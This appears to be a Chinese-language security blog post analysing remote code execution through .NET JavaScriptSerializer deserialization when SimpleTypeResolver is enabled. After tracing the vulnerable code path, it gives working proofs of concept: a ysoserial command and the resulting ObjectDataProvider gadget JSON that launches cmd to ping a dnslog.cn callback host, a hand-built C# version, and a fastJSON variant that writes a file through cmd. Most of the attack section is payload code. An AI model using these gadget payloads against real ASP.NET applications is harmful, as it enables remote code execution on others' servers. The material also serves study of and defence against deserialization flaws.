net中的javascriptserializer
在.NET處理 Ajax應用的時候,通常序列化功能由JavaScriptSerializer類提供,它是.NET2.0之后內部實現的序列化功能的類,位於命名空間System.Web.Script.Serialization、通過System.Web.Extensions引用,讓開發者輕松實現.Net中所有類型和Json數據之間的轉換,但在某些場景下開發者使用Deserialize 或DeserializeObject方法處理不安全的Json數據時會造成反序列化攻擊從而實現遠程RCE漏洞。
第一步 看javascript 與類之間的相互轉換
序列化
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="Myjavascript" %>
<%@ Import Namespace="System.Web.Script.Serialization" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Myjavascript r= new Myjavascript { Ivale="",Svale=""};
var serializer = new JavaScriptSerializer();
var serializedResult = serializer.Serialize(r);
//var deserializedResult = serializer.Deserialize(serializedResult);
Response.Write(serializedResult);
}
</script>

之前介紹過其它組件反序列化漏洞原理得知需要__type這個Key的值,要得到這個Value就必須得到程序集全標識(包括程序集名稱、版本、語言文化和公鑰),那么在JavaScriptSerializer中可以通過實例化SimpleTypeResolver類,作用是為托管類型提供類型解析器,可在序列化字符串中自定義類型的元數據程序集限定名稱。筆者將代碼改寫添加類型解析器
var serializer = new JavaScriptSerializer(new SimpleTypeResolver());

反序列化
默認情況下JavaScriptSerializer不會使用類型解析器,所以它是一個安全的序列化處理類,漏洞的觸發點也是在於初始化JavaScriptSerializer類的實例的時候是否創建了SimpleTypeResolver類,如果創建了,並且反序列化的Json數據在可控的情況下就可以觸發反序列化漏洞
反序列化過程就是將Json數據轉換為對象,在JavaScriptSerializer類中創建對象然后調用DeserializeObject或Deserialize方法實現的。

我們進入方法看一看 可以知道 當序列化json的字段沒有超過最大范圍時 執行BaseicDeserialize方法

繼續更進方法發現 如果傳入是NEXTNoeEmptyChar而且dictionary里面包含_type則交給ConvertObjecttotype處理


繼續更進發現調用ConvertDictionartToObject

這段代碼首先判斷ServerTypeFieldName存在值的話就輸出賦值給對象s,第二步將對象s強制轉換為字符串變量serverTypeName,第三部獲取解析器中的實際類型,並且通過System.Activator的CreateInstance構造類型的實例

Activator類提供了靜態CreateInstance方法的幾個重載版本,調用方法的時候既可以傳遞一個Type對象引用,也可以傳遞標識了類型的String,方法返回對新對象的引用。下圖Demo展示了序列化和反序列化前后的效果:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="Myjavascript" %>
<%@ Import Namespace="System.Web.Script.Serialization" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Windows.Data" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Runtime.Serialization" %>
<%@ Import Namespace="System.Net" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Myjavascript r= new Myjavascript { Ivale="123",Svale=""};
var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
var serializedResult = serializer.Serialize(r);
var deserializedResult = serializer.Deserialize<Myjavascript>(serializedResult);
Response.Write(serializedResult);
Response.Write(deserializedResult.Ivale);
}
</script>

打造poc
首先我們使用yso打造poc
C:\Users\localhost\Desktop\ysoserial-1.34\Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c ping zn8q2v.dnslog.cn C:\Users\localhost\Desktop\ysoserial-1.34\Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c "ping zn8q2v.dnslog.cn"
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
}
}
}
var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
var payload=@"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
}
}
}";
var deserializedResult = serializer.Deserialize<Object>(payload);
可以看見成功觸發poc

接下來我們手工打造poc
也是使用
ObjectDataProvider作為GADGETS

因為Process.Start方法啟動一個線程需要配置ProcessStartInfo類相關的屬性,例如指定文件名、指定啟動參數,所以首先得考慮序列化ProcessStartInfo,如下代碼Demo1
ObjectDataProvider r= new ObjectDataProvider(); r.ObjectInstance=new ProcessStartInfo(); Type tye=r.ObjectInstance.GetType(); PropertyInfo propertyName=tye.GetProperty("FileName"); propertyName.SetValue(r.ObjectInstance,"cmd.exe",null); PropertyInfo propertyName2=tye.GetProperty("Arguments"); propertyName2.SetValue(r.ObjectInstance,"/c ping dk87nn.dnslog.cn",null); r.MethodName="Start"; var serializers = new JavaScriptSerializer(new SimpleTypeResolver()); var payload = serializers.Serialize(r); var deserializedResult = serializers.Deserialize<Object>(payload); Response.Write(payload);
Demo2
用fastjson 解決
System.Runtime循環報錯
<%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="Myjavascript" %> <%@ Import Namespace="System.Web.Script.Serialization" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Windows.Data" %> <%@ Import Namespace="System.Security.Principal" %> <%@ Import Namespace="System.Runtime.Serialization" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="fastJSON" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { JSONParameters jSONParameters = new JSONParameters { UseExtensions = true, }; ObjectDataProvider ok = new ObjectDataProvider(); Process start = new Process(); start.StartInfo.FileName = "cmd.exe"; start.StartInfo.Arguments = "/c echo 123456>>c:\\programdata\\2xxxxx15.txt"; ok.MethodName = "Start"; ok.IsInitialLoadEnabled = true; ok.ObjectInstance = start; var s = JSON.ToJSON(ok, jSONParameters); jSONParameters.IgnoreAttributes.Add(typeof(IntPtr)); //var s = "{\"__type\":{\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\":\"1\",\"System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\":\"2\",\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\":\"3\",\"System.IntPtr, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\":\"4\",\"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\":\"5\"},\"__type\":\"1\",\"ObjectType\":{\"__type\":\"2\"},\"ObjectInstance\":{\"__type\":\"3\",\"MaxWorkingSet\":{\"__type\":\"4\"},\"MinWorkingSet\":{\"__type\":\"4\"},\"PriorityBoostEnabled\":true,\"PriorityClass\":\"Normal\",\"ProcessorAffinity\":{\"__type\":\"4\"},\"StartInfo\":{\"__type\":\"5\",\"Verb\":\"\",\"Arguments\":\"/c echo 123456>>c:\\programdata\\2xxxxx15.txt\",\"CreateNoWindow\":false,\"RedirectStandardInput\":false,\"RedirectStandardOutput\":false,\"RedirectStandardError\":false,\"StandardErrorEncoding\":null,\"StandardOutputEncoding\":null,\"UseShellExecute\":true,\"UserName\":\"\",\"Password\":null,\"PasswordInClearText\":null,\"Domain\":\"\",\"LoadUserProfile\":false,\"FileName\":\"cmd.exe\",\"WorkingDirectory\":\"\",\"ErrorDialog\":false,\"ErrorDialogParentHandle\":{\"__type\":\"4\"},\"WindowStyle\":\"Normal\"},\"SynchronizingObject\":null,\"EnableRaisingEvents\":false,\"Site\":null},\"MethodName\":\"Start\",\"IsAsynchronous\":false,\"IsInitialLoadEnabled\":true}"; var serializer = new JavaScriptSerializer(new SimpleTypeResolver()); var serializedResult = serializer.Serialize(s); var deserializedResult = serializer.Deserialize<Object>(serializedResult); Response.Write(s);} </script>

參考
https://www.google.com.hk/search?newwindow=1&safe=strict&ei=K9HdX6OaJ4-B0wS945aICA&q=System.Reflection.RuntimeModule&oq=System.Reflection.RuntimeModule&gs_lcp=CgZwc3ktYWIQDFAAWABgtS5oAHAAeACAAQCIAQCSAQCYAQCqAQdnd3Mtd2l6&sclient=psy-ab&ved=0ahUKEwjj28DH5tntAhWPwJQKHb2xBYEQ4dUDCA0&uact=5 https://www.freebuf.com/articles/web/198617.html https://www.syncfusion.com/forums/124633/a-circular-reference-was-detected-while-serializing-an-object-of-type-system-reflection https://blog.csdn.net/xcmonline/article/details/74977855 https://www.coder.work/article/3048274 http://www.codingwhy.com/view/4508.html https://www.infragistics.com/help/wpf/creating-an-xmldataprovider https://www.anquanke.com/post/id/199921 https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider.constructorparameters?view=net-5.0#System_Windows_Data_ObjectDataProvider_ConstructorParameters https://stackoverflow.com/questions/37092145/how-to-use-an-objectdataprovider-to-bind-an-enum-to-a-combobox-in-xaml https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=net-5.0
GADGETS
